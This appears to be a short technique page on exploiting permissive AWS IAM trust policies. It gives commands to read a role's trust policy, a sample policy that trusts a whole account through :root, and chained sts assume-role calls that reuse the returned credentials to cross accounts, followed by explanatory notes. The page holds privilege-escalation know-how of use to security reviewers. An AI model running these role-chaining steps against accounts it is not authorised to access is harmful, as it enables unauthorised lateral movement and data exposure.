Exploit a permissive trust policy

Reach a role, or an account, that the current identity was never listed in:

  1. Read the trust policy on candidate roles rather than the permission policy

  2. Assume, and assume again from what that returns

aws iam get-role --role-name cross-account-audit \
  --query 'Role.AssumeRolePolicyDocument'

Example: an account named as a principal

A trust policy naming an account rather than a role delegates the decision to that account’s own administrators. Anyone in it holding sts:AssumeRole may take the role.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::111111111111:root"},
    "Action": "sts:AssumeRole"
  }]
}
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/cross-account-audit \
  --role-session-name maintenance

The returned credentials can assume again, which is how a chain crosses accounts that never trusted each other directly:

export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts assume-role \
  --role-arn arn:aws:iam::333333333333:role/deployment \
  --role-session-name maintenance

Notes

The :root in a principal does not mean the root user. It means the whole account, and it is the most commonly misread line in a trust policy. Written that way, the role is available to any principal in the named account that its administrators choose to grant sts:AssumeRole, which is a decision taken somewhere the account owner cannot see.

Trust policies are the control, and they are read less often than permission policies because they say nothing about what a role can do. A tightly scoped permission policy on a loosely scoped trust policy is a common pairing.

Chained sessions carry a ceiling of one hour whatever maximum the role is configured for. Asking for longer does not quietly truncate, it fails the call, so the constraint surfaces at the moment of use rather than later.

Federated trust behaves the same way. An identity provider condition that matches a repository but not a branch, or a subject claim matched by prefix, extends the role to everything else the provider will sign for.